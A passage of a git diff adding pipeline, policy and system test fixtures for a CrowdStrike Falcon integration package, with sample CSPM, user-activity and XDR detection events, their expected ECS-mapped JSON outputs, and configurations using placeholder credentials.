"i-0108fce80eXXXXXXX", + "ResourceIdType": "Instance Id", + "ResourceUrl": "https://us-west-2.console.aws.amazon.com/ec2/v2/home?region=us-west-2#InstanceDetails:instanceId=i-0108fce80eXXXXXXX", + "Severity": 1, + "SeverityName": "High", + "Timestamp": 1663009688832 + }, + "metadata": { + "customerIDString": "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX", + "eventType": "CSPMSearchStreamingEvent", + "offset": 54712611, + "version": "1.0" + } + }, + "ecs": { + "version": "8.17.0" + }, + "event": { + "category": [ + "configuration" + ], + "created": "2022-09-12T19:08:08.832Z", + "kind": "alert", + "original": "{\n\t\"metadata\": {\n\n\t\t\"customerIDString\": \"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX\",\n\t\t\"offset\": 54712611,\n\t\t\"eventType\": \"CSPMSearchStreamingEvent\",\n\t\t\"eventCreationTime\": 1663009688832,\n\t\t\"version\": \"1.0\"\n\t},\n\t\"event\": {\n\t\t\"AccountId\": \"XXXXXXXXXXXX\",\n\t\t\"Region\": \"us-west-2\",\n\t\t\"ResourceId\": \"i-0108fce80eXXXXXXX\",\n\t\t\"ResourceIdType\": \"Instance Id\",\n\t\t\"ResourceName\": \"\",\n\t\t\"ResourceCreateTime\": 0,\n\t\t\"PolicyStatement\": \"EC2 NACL configured for global ingress\",\n\t\t\"PolicyId\": 26,\n\t\t\"Severity\": 1,\n\t\t\"SeverityName\": \"High\",\n\t\t\"CloudPlatform\": \"AWS\",\n\t\t\"CloudService\": \"EC2\",\n\t\t\"Disposition\": \"Failed\",\n\t\t\"ResourceUrl\": \"https://us-west-2.console.aws.amazon.com/ec2/v2/home?region=us-west-2#InstanceDetails:instanceId=i-0108fce80eXXXXXXX\",\n\t\t\"Finding\": \"Instance ID: i-0108fce80e5ab5129|VPC ID: vpc-0e886040c27d9f526|Network ACL ID: acl-005e6bb98e75ac17e|Rule Number: 100|CIDR Block: 0.0.0.0/0|Protocol: All\",\n\t\t\"ResourceAttributes\": \"{\\\"ACL ID\\\": \\\"acl - 005e6 bb98e75ac17e\\\",\\\"VPC ID\\\": \\\"vpc - 0e886040 c27d9f526\\\",\\\"Platform\\\": \\\"Linux\\\",\\\"Instance ID\\\": \\\"i - 0108 fce80eXXXXXXX\\\",\\\"Launch Time\\\": \\\"2022 - 09 - 12 17: 11: 06 + 00\\\",\\\"Instance State\\\": \\\"running\\\"}\",\n\t\t\"Tags\": \"SensorGroupingTags/TEACHER, SensorGroupingTags/XYZ, 321, 1111\",\n\t\t\"ReportUrl\": \"https://falcon.crowdstrike.com/cloud-security/cspm/assessment-drilldown?event-type=cspm_policy_26\\u0026policy_id=26\\u0026scan_id=1a8adc1c36aa7d83e90e5c06\\u0026service=EC2\",\n\t\t\"Timestamp\": 1663009688832\n\t}\n}", + "outcome": "failure", + "reference": "https://falcon.crowdstrike.com/cloud-security/cspm/assessment-drilldown?event-type=cspm_policy_26&policy_id=26&scan_id=1a8adc1c36aa7d83e90e5c06&service=EC2", + "severity": 73, + "type": [ + "info", + "change" + ] + }, + "message": "EC2 NACL configured for global ingress", + "observer": { + "product": "Falcon", + "vendor": "Crowdstrike" + }, + "tags": [ + "preserve_original_event", + "SensorGroupingTags/TEACHER", + "SensorGroupingTags/XYZ", + "321", + "1111" + ] + } + ] +} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-tags.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-tags.log new file mode 100644 index 0000000000..45a23413b4 --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-tags.log @@ -0,0 +1,31 @@ +{ + "metadata": { + + "customerIDString": "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX", + "offset": 54712611, + "eventType": "CSPMSearchStreamingEvent", + "eventCreationTime": 1663009688832, + "version": "1.0" + }, + "event": { + "AccountId": "XXXXXXXXXXXX", + "Region": "us-west-2", + "ResourceId": "i-0108fce80eXXXXXXX", + "ResourceIdType": "Instance Id", + "ResourceName": "", + "ResourceCreateTime": 0, + "PolicyStatement": "EC2 NACL configured for global ingress", + "PolicyId": 26, + "Severity": 1, + "SeverityName": "High", + "CloudPlatform": "AWS", + "CloudService": "EC2", + "Disposition": "Failed", + "ResourceUrl": "https://us-west-2.console.aws.amazon.com/ec2/v2/home?region=us-west-2#InstanceDetails:instanceId=i-0108fce80eXXXXXXX", + "Finding": "Instance ID: i-0108fce80e5ab5129|VPC ID: vpc-0e886040c27d9f526|Network ACL ID: acl-005e6bb98e75ac17e|Rule Number: 100|CIDR Block: 0.0.0.0/0|Protocol: All", + "ResourceAttributes": "{\"ACL ID\": \"acl - 005e6 bb98e75ac17e\",\"VPC ID\": \"vpc - 0e886040 c27d9f526\",\"Platform\": \"Linux\",\"Instance ID\": \"i - 0108 fce80eXXXXXXX\",\"Launch Time\": \"2022 - 09 - 12 17: 11: 06 + 00\",\"Instance State\": \"running\"}", + "Tags": "SensorGroupingTags/TEACHER", + "ReportUrl": "https://falcon.crowdstrike.com/cloud-security/cspm/assessment-drilldown?event-type=cspm_policy_26\u0026policy_id=26\u0026scan_id=1a8adc1c36aa7d83e90e5c06\u0026service=EC2", + "Timestamp": 1663009688832 + } +} \ No newline at end of file diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-tags.log-expected.json b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-tags.log-expected.json new file mode 100644 index 0000000000..1a88b27b32 --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-tags.log-expected.json @@ -0,0 +1,70 @@ +{ + "expected": [ + { + "@timestamp": "2022-09-12T19:08:08.832Z", + "cloud": { + "account": { + "id": "XXXXXXXXXXXX" + }, + "provider": "AWS", + "region": "us-west-2", + "service": { + "name": "EC2" + } + }, + "crowdstrike": { + "event": { + "Finding": "Instance ID: i-0108fce80e5ab5129|VPC ID: vpc-0e886040c27d9f526|Network ACL ID: acl-005e6bb98e75ac17e|Rule Number: 100|CIDR Block: 0.0.0.0/0|Protocol: All", + "PolicyId": 26, + "ResourceAttributes": { + "ACL ID": "acl - 005e6 bb98e75ac17e", + "Instance ID": "i - 0108 fce80eXXXXXXX", + "Instance State": "running", + "Launch Time": "2022 - 09 - 12 17: 11: 06 + 00", + "Platform": "Linux", + "VPC ID": "vpc - 0e886040 c27d9f526" + }, + "ResourceId": "i-0108fce80eXXXXXXX", + "ResourceIdType": "Instance Id", + "ResourceUrl": "https://us-west-2.console.aws.amazon.com/ec2/v2/home?region=us-west-2#InstanceDetails:instanceId=i-0108fce80eXXXXXXX", + "Severity": 1, + "SeverityName": "High", + "Timestamp": 1663009688832 + }, + "metadata": { + "customerIDString": "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX", + "eventType": "CSPMSearchStreamingEvent", + "offset": 54712611, + "version": "1.0" + } + }, + "ecs": { + "version": "8.17.0" + }, + "event": { + "category": [ + "configuration" + ], + "created": "2022-09-12T19:08:08.832Z", + "kind": "alert", + "original": "{\n\t\"metadata\": {\n\n\t\t\"customerIDString\": \"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX\",\n\t\t\"offset\": 54712611,\n\t\t\"eventType\": \"CSPMSearchStreamingEvent\",\n\t\t\"eventCreationTime\": 1663009688832,\n\t\t\"version\": \"1.0\"\n\t},\n\t\"event\": {\n\t\t\"AccountId\": \"XXXXXXXXXXXX\",\n\t\t\"Region\": \"us-west-2\",\n\t\t\"ResourceId\": \"i-0108fce80eXXXXXXX\",\n\t\t\"ResourceIdType\": \"Instance Id\",\n\t\t\"ResourceName\": \"\",\n\t\t\"ResourceCreateTime\": 0,\n\t\t\"PolicyStatement\": \"EC2 NACL configured for global ingress\",\n\t\t\"PolicyId\": 26,\n\t\t\"Severity\": 1,\n\t\t\"SeverityName\": \"High\",\n\t\t\"CloudPlatform\": \"AWS\",\n\t\t\"CloudService\": \"EC2\",\n\t\t\"Disposition\": \"Failed\",\n\t\t\"ResourceUrl\": \"https://us-west-2.console.aws.amazon.com/ec2/v2/home?region=us-west-2#InstanceDetails:instanceId=i-0108fce80eXXXXXXX\",\n\t\t\"Finding\": \"Instance ID: i-0108fce80e5ab5129|VPC ID: vpc-0e886040c27d9f526|Network ACL ID: acl-005e6bb98e75ac17e|Rule Number: 100|CIDR Block: 0.0.0.0/0|Protocol: All\",\n\t\t\"ResourceAttributes\": \"{\\\"ACL ID\\\": \\\"acl - 005e6 bb98e75ac17e\\\",\\\"VPC ID\\\": \\\"vpc - 0e886040 c27d9f526\\\",\\\"Platform\\\": \\\"Linux\\\",\\\"Instance ID\\\": \\\"i - 0108 fce80eXXXXXXX\\\",\\\"Launch Time\\\": \\\"2022 - 09 - 12 17: 11: 06 + 00\\\",\\\"Instance State\\\": \\\"running\\\"}\",\n\t\t\"Tags\": \"SensorGroupingTags/TEACHER\",\n\t\t\"ReportUrl\": \"https://falcon.crowdstrike.com/cloud-security/cspm/assessment-drilldown?event-type=cspm_policy_26\\u0026policy_id=26\\u0026scan_id=1a8adc1c36aa7d83e90e5c06\\u0026service=EC2\",\n\t\t\"Timestamp\": 1663009688832\n\t}\n}", + "outcome": "failure", + "reference": "https://falcon.crowdstrike.com/cloud-security/cspm/assessment-drilldown?event-type=cspm_policy_26&policy_id=26&scan_id=1a8adc1c36aa7d83e90e5c06&service=EC2", + "severity": 73, + "type": [ + "info", + "change" + ] + }, + "message": "EC2 NACL configured for global ingress", + "observer": { + "product": "Falcon", + "vendor": "Crowdstrike" + }, + "tags": [ + "preserve_original_event", + "SensorGroupingTags/TEACHER" + ] + } + ] +} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-user-activity.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-user-activity.log new file mode 100644 index 0000000000..1605c91253 --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-user-activity.log @@ -0,0 +1,25 @@ +{ + "metadata": { + "customerIDString": "123123abcd", + "offset": 3, + "eventType": "UserActivityAuditEvent", + "eventCreationTime": 1686845212400, + "version": "1.0" + }, + "event": { + "UserId": "TESTUSERID", + "UserIp": "175.16.199.1", + "OperationName": "detection_update", + "ServiceName": "detections", + "AuditKeyValues": [ + { + "Key": "detection_id", + "ValueString": "TESTVALUE:ind:STRING123:456-123-654" + } + ], + "UTCTimestamp": 1686839378, + "Attributes": { + "detection_id": "DETECTID:ind:TESTID:456-123-654" + } + } +} \ No newline at end of file diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-user-activity.log-expected.json b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-user-activity.log-expected.json new file mode 100644 index 0000000000..27ccad4083 --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-user-activity.log-expected.json @@ -0,0 +1,76 @@ +{ + "expected": [ + { + "@timestamp": "2023-06-15T14:29:38.000Z", + "crowdstrike": { + "event": { + "Attributes": { + "detection_id": "DETECTID:ind:TESTID:456-123-654" + }, + "AuditKeyValues": [ + { + "Key": "detection_id", + "ValueString": "TESTVALUE:ind:STRING123:456-123-654" + } + ], + "ServiceName": "detections" + }, + "metadata": { + "customerIDString": "123123abcd", + "eventType": "UserActivityAuditEvent", + "offset": 3, + "version": "1.0" + } + }, + "ecs": { + "version": "8.17.0" + }, + "event": { + "action": "user_activity_audit_event", + "category": [ + "iam" + ], + "created": "2023-06-15T16:06:52.400Z", + "kind": "event", + "original": "{\n \"metadata\": {\n \"customerIDString\": \"123123abcd\",\n \"offset\": 3,\n \"eventType\": \"UserActivityAuditEvent\",\n \"eventCreationTime\": 1686845212400,\n \"version\": \"1.0\"\n },\n \"event\": {\n \"UserId\": \"TESTUSERID\",\n \"UserIp\": \"175.16.199.1\",\n \"OperationName\": \"detection_update\",\n \"ServiceName\": \"detections\",\n \"AuditKeyValues\": [\n {\n \"Key\": \"detection_id\",\n \"ValueString\": \"TESTVALUE:ind:STRING123:456-123-654\"\n }\n ],\n \"UTCTimestamp\": 1686839378,\n \"Attributes\": {\n \"detection_id\": \"DETECTID:ind:TESTID:456-123-654\"\n }\n }\n}", + "type": [ + "change" + ] + }, + "message": "detection_update", + "observer": { + "product": "Falcon", + "vendor": "Crowdstrike" + }, + "related": { + "ip": [ + "175.16.199.1" + ], + "user": [ + "TESTUSERID" + ] + }, + "source": { + "geo": { + "city_name": "Changchun", + "continent_name": "Asia", + "country_iso_code": "CN", + "country_name": "China", + "location": { + "lat": 43.88, + "lon": 125.3228 + }, + "region_iso_code": "CN-22", + "region_name": "Jilin Sheng" + }, + "ip": "175.16.199.1" + }, + "tags": [ + "preserve_original_event" + ], + "user": { + "name": "TESTUSERID" + } + } + ] +} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-xdr-detection-summary.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-xdr-detection-summary.log new file mode 100644 index 0000000000..c770c7dc9d --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-xdr-detection-summary.log @@ -0,0 +1,74 @@ +{ + "metadata": { + "customerIDString": "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx", + "eventCreationTime": 1651174243000, + "eventType": "XdrDetectionSummaryEvent", + "offset": 34280810, + "version": "1.0" + }, + "event": { + "Author": "CrowdStrike", + "DataDomains": "Identity,Network,Endpoint", + "Description": "Encrypted Metasploit traffic and login activity indicative of a brute force attempt were observed from a common IP.", + "DetectId": "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx:ind:xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx:xdr|eee4a5c51106f0419184d0dd08fb05bc", + "EndTimeEpoch": 1643317927664000000, + "IPv4Addresses": "81.2.69.144,81.2.69.192", + "HostNames": "XDR-WIN10", + "Name": "Metasploit and brute force login attempt", + "PatternId": 100011, + "Severity": 90, + "SourceProducts": "Falcon,Corelight", + "SourceVendors": "CrowdStrike,Corelight", + "StartTimeEpoch": 1643317697728000000, + "TacticIds": "TA0001,TA0002", + "Tactics": "Initial Access,Execution", + "TechniqueIds": "T1566.001,T1203", + "Techniques": "Spearphishing Attachment,Exploitation for Client Execution", + "XdrType": "xdr" + } +} +{ + "metadata": { + "customerIDString": "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx", + "eventCreationTime": 1651174243000, + "eventType": "XdrDetectionSummaryEvent", + "offset": 34280810, + "version": "1.0" + }, + "event": { + "Author": "CrowdStrike", + "DataDomains": "Identity,Network,Endpoint", + "Description": "Encrypted Metasploit traffic and login activity indicative of a brute force attempt were observed from a common IP.", + "DetectId": "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx:ind:xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx:xdr|eee4a5c51106f0419184d0dd08fb05bc", + "EndTimeEpoch": 1643317927664000000, + "IPv4Addresses": "81.2.69.144,81.2.69.192", + "HostNames": "XDR-WIN10", + "Name": "Metasploit and brute force login attempt", + "PatternId": 100011, + "Severity": 90, + "SourceProducts": "Falcon,Corelight", + "SourceVendors": "CrowdStrike,Corelight", + "StartTimeEpoch": 1643317697728000000, + "TacticIds": "TA0001,TA0002", + "Tactics": "Initial Access,Execution", + "TechniqueIds": "T1566.001,T1203", + "Techniques": "Spearphishing Attachment,Exploitation for Client Execution", + "XdrType": "xdr", + "MitreAttack": [ + { + "Tactic": "Initial Access", + "TacticID": "TA0001", + "Technique": "Spearphishing Attachment", + "TechniqueID": "T1566.001", + "PatternID": 100011 + }, + { + "Tactic": "Execution", + "TacticID": "TA0002", + "Technique": "Exploitation for Client Execution", + "TechniqueID": "T1203", + "PatternID": 100011 + } + ] + } +} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-xdr-detection-summary.log-expected.json b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-xdr-detection-summary.log-expected.json new file mode 100644 index 0000000000..727e03676d --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/pipeline/test-falcon-xdr-detection-summary.log-expected.json @@ -0,0 +1,190 @@ +{ + "expected": [ + { + "@timestamp": "2022-01-27T21:08:17.728Z", + "crowdstrike": { + "event": { + "DataDomains": [ + "Identity", + "Network", + "Endpoint" + ], + "PatternId": "100011", + "Severity": 90, + "SourceProducts": "Falcon,Corelight", + "SourceVendors": "CrowdStrike,Corelight", + "XdrType": "xdr" + }, + "metadata": { + "customerIDString": "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx", + "eventType": "XdrDetectionSummaryEvent", + "offset": 34280810, + "version": "1.0" + } + }, + "ecs": { + "version": "8.17.0" + }, + "event": { + "action": "xdr-detection", + "category": [ + "malware" + ], + "created": "2022-04-28T19:30:43.000Z", + "end": "2022-01-27T21:12:07.664Z", + "kind": "alert", + "original": "{\n\t\"metadata\": {\n\t\t\"customerIDString\": \"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx\",\n\t\t\"eventCreationTime\": 1651174243000,\n\t\t\"eventType\": \"XdrDetectionSummaryEvent\",\n\t\t\"offset\": 34280810,\n\t\t\"version\": \"1.0\"\n\t},\n\t\"event\": {\n\t\t\"Author\": \"CrowdStrike\",\n\t\t\"DataDomains\": \"Identity,Network,Endpoint\",\n\t\t\"Description\": \"Encrypted Metasploit traffic and login activity indicative of a brute force attempt were observed from a common IP.\",\n\t\t\"DetectId\": \"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx:ind:xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx:xdr|eee4a5c51106f0419184d0dd08fb05bc\",\n\t\t\"EndTimeEpoch\": 1643317927664000000,\n\t\t\"IPv4Addresses\": \"81.2.69.144,81.2.69.192\",\n\t\t\"HostNames\": \"XDR-WIN10\",\n\t\t\"Name\": \"Metasploit and brute force login attempt\",\n\t\t\"PatternId\": 100011,\n\t\t\"Severity\": 90,\n\t\t\"SourceProducts\": \"Falcon,Corelight\",\n\t\t\"SourceVendors\": \"CrowdStrike,Corelight\",\n\t\t\"StartTimeEpoch\": 1643317697728000000,\n\t\t\"TacticIds\": \"TA0001,TA0002\",\n\t\t\"Tactics\": \"Initial Access,Execution\",\n\t\t\"TechniqueIds\": \"T1566.001,T1203\",\n\t\t\"Techniques\": \"Spearphishing Attachment,Exploitation for Client Execution\",\n\t\t\"XdrType\": \"xdr\"\n\t}\n}", + "start": "2022-01-27T21:08:17.728Z", + "type": [ + "info" + ] + }, + "message": "Encrypted Metasploit traffic and login activity indicative of a brute force attempt were observed from a common IP.", + "observer": { + "product": "Falcon", + "vendor": "Crowdstrike" + }, + "related": { + "hosts": [ + "XDR-WIN10" + ] + }, + "rule": { + "author": [ + "CrowdStrike" + ], + "description": "Encrypted Metasploit traffic and login activity indicative of a brute force attempt were observed from a common IP.", + "id": "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx:ind:xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx:xdr|eee4a5c51106f0419184d0dd08fb05bc", + "name": "Metasploit and brute force login attempt", + "uuid": "100011" + }, + "tags": [ + "preserve_original_event" + ], + "threat": { + "framework": "MITRE ATT&CK", + "tactic": { + "id": [ + "TA0001", + "TA0002" + ], + "name": [ + "Initial Access", + "Execution" + ] + }, + "technique": { + "id": [ + "T1566.001", + "T1203" + ], + "name": [ + "Spearphishing Attachment", + "Exploitation for Client Execution" + ] + } + } + }, + { + "@timestamp": "2022-01-27T21:08:17.728Z", + "crowdstrike": { + "event": { + "DataDomains": [ + "Identity", + "Network", + "Endpoint" + ], + "MitreAttack": [ + { + "PatternID": "100011", + "Tactic": "Initial Access", + "TacticID": "TA0001", + "Technique": "Spearphishing Attachment", + "TechniqueID": "T1566.001" + }, + { + "PatternID": "100011", + "Tactic": "Execution", + "TacticID": "TA0002", + "Technique": "Exploitation for Client Execution", + "TechniqueID": "T1203" + } + ], + "PatternId": "100011", + "Severity": 90, + "SourceProducts": "Falcon,Corelight", + "SourceVendors": "CrowdStrike,Corelight", + "XdrType": "xdr" + }, + "metadata": { + "customerIDString": "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx", + "eventType": "XdrDetectionSummaryEvent", + "offset": 34280810, + "version": "1.0" + } + }, + "ecs": { + "version": "8.17.0" + }, + "event": { + "action": "xdr-detection", + "category": [ + "malware" + ], + "created": "2022-04-28T19:30:43.000Z", + "end": "2022-01-27T21:12:07.664Z", + "kind": "alert", + "original": "{\n\t\"metadata\": {\n\t\t\"customerIDString\": \"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx\",\n\t\t\"eventCreationTime\": 1651174243000,\n\t\t\"eventType\": \"XdrDetectionSummaryEvent\",\n\t\t\"offset\": 34280810,\n\t\t\"version\": \"1.0\"\n\t},\n\t\"event\": {\n\t\t\"Author\": \"CrowdStrike\",\n\t\t\"DataDomains\": \"Identity,Network,Endpoint\",\n\t\t\"Description\": \"Encrypted Metasploit traffic and login activity indicative of a brute force attempt were observed from a common IP.\",\n\t\t\"DetectId\": \"xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx:ind:xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx:xdr|eee4a5c51106f0419184d0dd08fb05bc\",\n\t\t\"EndTimeEpoch\": 1643317927664000000,\n\t\t\"IPv4Addresses\": \"81.2.69.144,81.2.69.192\",\n\t\t\"HostNames\": \"XDR-WIN10\",\n\t\t\"Name\": \"Metasploit and brute force login attempt\",\n\t\t\"PatternId\": 100011,\n\t\t\"Severity\": 90,\n\t\t\"SourceProducts\": \"Falcon,Corelight\",\n\t\t\"SourceVendors\": \"CrowdStrike,Corelight\",\n\t\t\"StartTimeEpoch\": 1643317697728000000,\n\t\t\"TacticIds\": \"TA0001,TA0002\",\n\t\t\"Tactics\": \"Initial Access,Execution\",\n\t\t\"TechniqueIds\": \"T1566.001,T1203\",\n\t\t\"Techniques\": \"Spearphishing Attachment,Exploitation for Client Execution\",\n\t\t\"XdrType\": \"xdr\",\n\t\t\"MitreAttack\": [\n\t\t\t{\n\t\t\t\t\"Tactic\": \"Initial Access\",\n\t\t\t\t\"TacticID\": \"TA0001\",\n\t\t\t\t\"Technique\": \"Spearphishing Attachment\",\n\t\t\t\t\"TechniqueID\": \"T1566.001\",\n\t\t\t\t\"PatternID\": 100011\n\t\t\t},\n\t\t\t{\n\t\t\t\t\"Tactic\": \"Execution\",\n\t\t\t\t\"TacticID\": \"TA0002\",\n\t\t\t\t\"Technique\": \"Exploitation for Client Execution\",\n\t\t\t\t\"TechniqueID\": \"T1203\",\n\t\t\t\t\"PatternID\": 100011\n\t\t\t}\n\t\t]\n\t}\n}", + "start": "2022-01-27T21:08:17.728Z", + "type": [ + "info" + ] + }, + "message": "Encrypted Metasploit traffic and login activity indicative of a brute force attempt were observed from a common IP.", + "observer": { + "product": "Falcon", + "vendor": "Crowdstrike" + }, + "related": { + "hosts": [ + "XDR-WIN10" + ] + }, + "rule": { + "author": [ + "CrowdStrike" + ], + "description": "Encrypted Metasploit traffic and login activity indicative of a brute force attempt were observed from a common IP.", + "id": "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx:ind:xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx:xdr|eee4a5c51106f0419184d0dd08fb05bc", + "name": "Metasploit and brute force login attempt", + "uuid": "100011" + }, + "tags": [ + "preserve_original_event" + ], + "threat": { + "framework": "MITRE ATT&CK", + "tactic": { + "id": [ + "TA0001", + "TA0002" + ], + "name": [ + "Initial Access", + "Execution" + ] + }, + "technique": { + "id": [ + "T1566.001", + "T1203" + ], + "name": [ + "Spearphishing Attachment", + "Exploitation for Client Execution" + ] + } + } + } + ] +} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/policy/test-default.expected b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/policy/test-default.expected new file mode 100644 index 0000000000..71a83cd255 --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/policy/test-default.expected @@ -0,0 +1,42 @@ +inputs: + - data_stream: + namespace: ep + meta: + package: + name: crowdstrike + name: test-default-crowdstrike + streams: + - allow_deprecated_use: true + data_stream: + dataset: crowdstrike.falcon + exclude_files: + - \.gz$ + multiline.match: after + multiline.max_lines: 5000 + multiline.negate: true + multiline.pattern: ^{ + multiline.timeout: 10 + paths: + - /var/log/crowdstrike/falconhoseclient/output* + publisher_pipeline.disable_host: true + tags: + - preserve_original_event + - forwarded + - crowdstrike-falcon + type: logfile + use_output: default +output_permissions: + default: + _elastic_agent_checks: + cluster: + - monitor + _elastic_agent_monitoring: + indices: [] + uuid-for-permissions-on-related-indices: + indices: + - names: + - logs-crowdstrike.falcon-ep + privileges: + - auto_configure + - create_doc +secret_references: [] diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/policy/test-default.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/policy/test-default.yml new file mode 100644 index 0000000000..58bbc1f403 --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/policy/test-default.yml @@ -0,0 +1,9 @@ +vars: + url: http://host.tld + client_id: test_client_id + client_secret: test_client_secret + token_url: http://host.tld/oauth2/token +data_stream: + vars: + preserve_original_event: true + preserve_duplicate_custom_fields: true diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/policy/test-streaming.expected b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/policy/test-streaming.expected new file mode 100644 index 0000000000..76892c8579 --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/policy/test-streaming.expected @@ -0,0 +1,61 @@ +inputs: + - data_stream: + namespace: ep + meta: + package: + name: crowdstrike + name: test-streaming-crowdstrike + streams: + - auth: + client_id: test_client_id + client_secret: ${SECRET_0} + token_url: http://host.tld/oauth2/token + crowdstrike_app_id: test_app_id + data_stream: + dataset: crowdstrike.falcon + processors: null + program: | + state.response.decode_json().as(body, { + // Handle both old agent behaviour and new multi-resource cursors. + ?"cursor": !has(state.feed) ? + // Old behaviour: no feed key. + body.?metadata.optMap(m, {"offset": m.offset}) + : has(body.metadata) ? + // New behaviour with a cursor from the event. + optional.of(state.?cursor.orValue({}).with({ + ?state.feed: body.?metadata.optMap(m, {"offset": m.offset}), + })) + : + // New behaviour with no cursor; pass through. + state.?cursor, + "events": [{ + "message": body.encode_json(), + }], + }) + publisher_pipeline.disable_host: true + redact: + fields: null + stream_type: crowdstrike + tags: + - preserve_original_event + - forwarded + - crowdstrike-falcon + url: http://host.tld/sensors/entities/datafeed/v2 + type: streaming + use_output: default +output_permissions: + default: + _elastic_agent_checks: + cluster: + - monitor + _elastic_agent_monitoring: + indices: [] + uuid-for-permissions-on-related-indices: + indices: + - names: + - logs-crowdstrike.falcon-ep + privileges: + - auto_configure + - create_doc +secret_references: + - {} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/policy/test-streaming.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/policy/test-streaming.yml new file mode 100644 index 0000000000..2afd89811e --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/policy/test-streaming.yml @@ -0,0 +1,10 @@ +input: streaming +vars: +data_stream: + vars: + url: http://host.tld + client_id: test_client_id + client_secret: test_client_secret + token_url: http://host.tld/oauth2/token + app_id: test_app_id + preserve_original_event: true diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/system/test-logfile-config.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/system/test-logfile-config.yml new file mode 100644 index 0000000000..d26edaaf9e --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/system/test-logfile-config.yml @@ -0,0 +1,7 @@ +service: crowdstrike-logfile +input: logfile +data_stream: + vars: + preserve_original_event: true + paths: + - "{{SERVICE_LOGS_DIR}}/falcon-*.log" diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/system/test-streaming-config.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/system/test-streaming-config.yml new file mode 100644 index 0000000000..0cc9daccf8 --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/_dev/test/system/test-streaming-config.yml @@ -0,0 +1,12 @@ +input: streaming +service: crowdstrike-streaming +data_stream: + vars: + url: http://{{Hostname}}:{{Port}} + client_id: slightlysecretclientid + client_secret: totallysecretlientsecret + token_url: http://{{Hostname}}:{{Port}}/oauth2/token + app_id: nonsecretappid + preserve_original_event: true +assert: + hit_count: 3 diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/falcon/agent/stream/log.yml.hbs 